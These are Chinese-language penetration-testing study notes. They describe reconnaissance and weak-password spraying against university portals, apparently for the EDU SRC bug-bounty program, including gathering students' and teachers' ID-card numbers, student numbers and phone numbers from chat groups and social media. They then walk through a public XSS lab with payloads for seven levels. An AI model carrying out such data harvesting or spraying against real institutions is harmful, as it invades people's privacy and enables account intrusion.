阶段性渗透总结
目录
渗透中的信息收集
门户网站的收集
1. FOFA、Hunter
2. IP138
3. 浏览器插件
4. 其他方式
1)抓包分析
2)Google语法
针对门户网站的信息收集
1. Google黑客语法
2. 加群
3. DY、B站、XHS、WB
渗透中的字典设置
1. 精简密码&常见username
渗透中的入侵思路
1. 域名的收集
2. 信息收集
3. 实行爆破/喷砂
1. 修改系统代理
2. 打开BurpSuit的代理
3. 访问目标域名
4. 小程序渗透简介
XSS入门
1. 原理
2. 靶场
1. 位置
3. 练习
第一关:Ma Spaghet!
2. 第二关:Jefff
3. 第三关:Ugandan Knuckles
4. 第四关:Ricardo Milos
5. 第五关: Ah That's Hawt
6. 第六关:Ligma
7. 第七关:Mafia
渗透中的信息收集
门户网站的收集
门户网站或者说入侵口的收集方式很多,以下是一些常见的工具:
1. FOFA、Hunter
链接: fofa :网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统 hunter:鹰图平台(hunter)-奇安信网络空间测绘系统 这两个工具的使用方式差不多,工具内部都有使用说明和语法示例。使用它们来扫描一些主网站的分站是很有帮助的。 具体如下图: FOFA:
Hunter:
2. IP138
链接:ip查询 查ip 网站ip查询 同ip网站查询 iP反查域名 iP查域名 同ip域名 它可以用来定位IP,比如我们想入侵一个站点,但是目前办不到,就可以在这里查IP,看一下目标站点的网段,在这个网段内是否有其他在线主机。如果有,那我们可以尝试攻击其他主机,然后进行横移,达到攻击目标站点的目的。
3. 浏览器插件
比如Findsomething
它可以简单的扫描一些接口,有可能有用。
比如wappalyzer
它是一个指纹识别插件,可以用来识别当前站点的指纹,方便我们寻找指纹过往的漏洞,这在入侵站点的时候也许有帮助。
当然,指纹识别这一步骤也可以借助工具实现,比如BurpSuit
的BurpFingerPrint
插件。安装这个插件之后,我们使用BurpSuit抓包时,它就会自动识别指纹。
4. 其他方式
1)抓包分析
有些入口以上方式找不到,但是呢我们可以通过抓包,查看HTTP/HTTPS的数据包,这是有可能有意外之喜的。
2)Google语法
有的时候,使用谷歌语法也是有可能发现入口的,但是这就需要一些运气了,不一定能发现。
针对门户网站的信息收集
1. Google黑客语法
针对我们在挖edusrc
的时候遇见最大的问题就是如何突破一站式服务大厅的网站,要突破这一点,我们就需要拥有教师的gh 、sfz
和 学生的sfz、 xh
这些个人隐私信息,所以我们就需要做好信息收集。常见的Google
语法有很多,以下是汇总好了部分常用的Google黑客语法
,以及它们的实用性见解
1.site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|manage|admin|login|system有些用,可以找后台2.site:域名 inurl:login|admin|manage|manager|admin_login|login_admin|system3.site:域名 intext:"手册"可能有用4.site:域名 intext:"忘记密码"5.site:域名 intext:"工号"也有可能,但比较低6.site:域名 intext:"优秀员工"7.site:域名 intext:"身份证号码"可能性低8.site:域名 intext:"手机号"有可能,但也低9. site:域名 intext:"学号"可能很大,但有些会做脱敏(***)处理
2. 加群
比如说要挖掘EDU SRC类漏洞时,我们可以搜索这个院校的新生群之类的群聊,里面有可能泄露一些我们需要的信息。
3. DY、B站、XHS、WB
在这些流量大的软件搜索关键词,有可能有同学不小心或出于分享的心理,把一些信息以图片、视频的形式泄露出来,而且不做脱敏处理,这里很可能含有xh、sjh等信息。这些也是有用的。
渗透中的字典设置
字典在爆破或者喷洒时作用很大,但是如果搭配不好的话就会使得字典臃肿的同时效率低下。 那怎么设置一个实用性强的字典呢?以下是一些见解:
1. 精简密码&常见username
在使用弱口令爆破/喷洒目标站点的时候,不宜实用量大的密码字典搭配量大的用户字典,因为这样一交叉爆破浪费时间、效率低下、对设备要求很高还容易被封。 但是实用精简的密码字典搭配常见的用户字典效率就会大很多。 大家可以去搜一下全球最常用的密码名单,比如笔者随意搜索的:
其实常用的密码就那几个,所以密码字典根本不用量大,而是需要精简。再者,若是这些常见的弱口令喷洒失败,那就可以放弃弱口令喷洒这个方法了。这时候的密码也许还是弱口令,但是找不到了,大海捞针很难,如果不是弱口令,那就更不用试了,所以并不需要量大的密码字典。
但是用户字典那是需要的,但是也不必太大,多去GitHub之类的站点收集已经有的字典,然后去看看公安发出的最受欢迎的名字等,把它们处理为首字母缩写(zs、li)的形式保存在字典里就行了。
渗透中的入侵思路
以爆破/喷洒为例子,介绍渗透入侵的一般思路
1. 域名的收集
域名的收集就用到上面介绍的门户网站的收集方法。收集的顺序也跟介绍的顺序差不多。当然,方法、思路、工具不止那些。现在AI那么好用,我们也可以让AI帮一下忙;或者写脚本来收集,这个脚本可以自己写,可以在网上找、也可以让AI帮我们写。同时也还有其他方法,这个因人而异,只要达到收集域名的目的就行。
2. 信息收集
信息的收集上面也有介绍,按着方法来就好了。一般我们收集到的信息是PDF、EXCEL、DOCX等,需要把它们当中的xh、sjh、sfz等提取出来,放到一个txt文件中。至于怎么提取方法就很多了,交给AI处理、在线转换等等。
3. 实行爆破/喷砂
这一步就需要实用到工具了,比如说BurpSuit、Yakit等,这里以BurpSuit为例。
1. 修改系统代理
把这里的端口修改为8080,这是BurpSuit默认实用的端口。
2. 打开BurpSuit的代理
打开这里的代理开关。
3. 访问目标域名
使用一个弱口令访问目标域名,比如username:admin,password:admin。 然后不出意外的话BurpSuit可以抓到数据包了。 但是有时候这些配置做完了,访问目标域名的时候显示未收到响应
。笔者就遇到过这个问题,原因使Windows有进程占用了8080端口,找到并把它关掉然后再启用BurpSuit就好了。 最终抓到的包就像下面这个:
4. 小程序渗透简介
这里插入一下小程序渗透简介。 它的抓包、信息收集与上述方法是一样的,区别在于抓包。当然了如果仅仅是想抓数据包那很简单,但是想通过数据包实现渗透目标那就需要转一下,把数据包转到BurpSuit。 具体方法就不赘述了,很简单。
XSS入门
这里再介绍一下XSS的原理与一个靶场的通关思路分享。
1. 原理
XSS的核心问题就是应用未对用户输入的动态内容进行安全过滤或编码,导致浏览器将其当作代码执行而非普通文本。
2. 靶场
1. 位置
https://xss.pwnfunction.com/ 这是一个线上靶场,比笔者之前搭建并完成的靶场要更好些。 那篇文章的链接:XSS基础靶场练习-CSDN博客
3. 练习
第一关:Ma Spaghet!
这一关考察的是innerHTML的作用,可以把我们填写的内容填充到标签里面,但是不能填写script
标签。 那什么是innerHTML呢?innerHTML
是 JavaScript 中用于操作 DOM 的一个属性,主要用于获取或设置 HTML 元素的内部 HTML 内容。它可以动态修改网页内容,但同时也存在安全风险(如 XSS 攻击)。 那就很清晰了,我们这样构造就可以了:
?somebody=<img src=1 onerror=alert(1337)>
2. 第二关:Jefff
eval(`ma = "Ma name ${jeff}"`)
入手点在这里,思路是这样的:
想办法在Ma name
这里闭合前面的内容,然后在后面写执行的语句。构造如下:
?jeff=test";alert(1337)//或者?jeff=test"-alert(1337)-"
这里面,第一个"
就会闭合前面的内容,得到这样的结果:"Ma nama test"
然后;
隔开,表示接下来的是其他语句
然后执行的语句就是alert(1337)
但是原句还有最后的"
,这时候我们构造的//
就起到作用了,会把它注释掉。
第二种也是一样的原理。
3. 第三关:Ugandan Knuckles
这一关主要有一个要求:
No user interaction.
即在不与用户交互的前提下触发xss
那就使用自动获取的方法:
"onfocus=alert(1337) autofocus="
4. 第四关:Ricardo Milos
它的源码使用了action
,而action
可以直接使用javascript
协议
所以这样构造就可以了:
?ricardo=javascript:alert(1337)
5. 第五关: Ah That's Hawt
这一关过滤了以下字符
"(" "'"")""\"
这里不外呼两种方法,一种是找不需要以上字符的函数,比如location
?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">
一种是字符编码
1. 把alert(1337)编码为HTML实体alert(1337)
2. 把标签补全后对整个语句进行URL编码<svg onload="alert(1337)">%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E也可以使用img代替 svg<img src=1 onerror=alert(1337)> 之后就是一步一步编码
6. 第六关:Ligma
这一关的过滤很严格,不允许出现数字、字母
。
这样一来就不能使用上一关的HTML实体编码、URL编码
,但是又需要用到alert,那能不能把alert转为不含字母、数字的内容呢
答案是可以的,使用下面这个工具: JSFuck - Write any JavaScript with 6 Characters: []()!+
转换如下:
这样编码之后能不能直接用呢?不能,因为这出现了+
,+
在URL编码中会转化为空格
,所以还有对这个编码的结果进行URL编码
%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%28%29%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%5D%2B%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%29
之后输入就可以了
7. 第七关:Mafia
这一关首先限制了字符长度50
,这就不能使用上一关的方法了,然后还过滤了以下符号和关键字
'"+-!\[]alert
这里它虽然过滤了alert
函数,但其实使用confirm
函数也能实现弹窗,但是题目要求使用alert
弹窗所以我们这里confirm
也不能使用。那么这里能不能使用大写绕过呢,比如这样
?mafia=ALERT(1337)
不行。因为JS严格区分大小写。
那怎么办呢? 基于大写绕过的思路,我们这样想:
依然是使用大写绕过正则的过滤,然后使用某种方法,把大写的ALERT转化为小写,然后立即3调用执行,构造的语句如下:
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()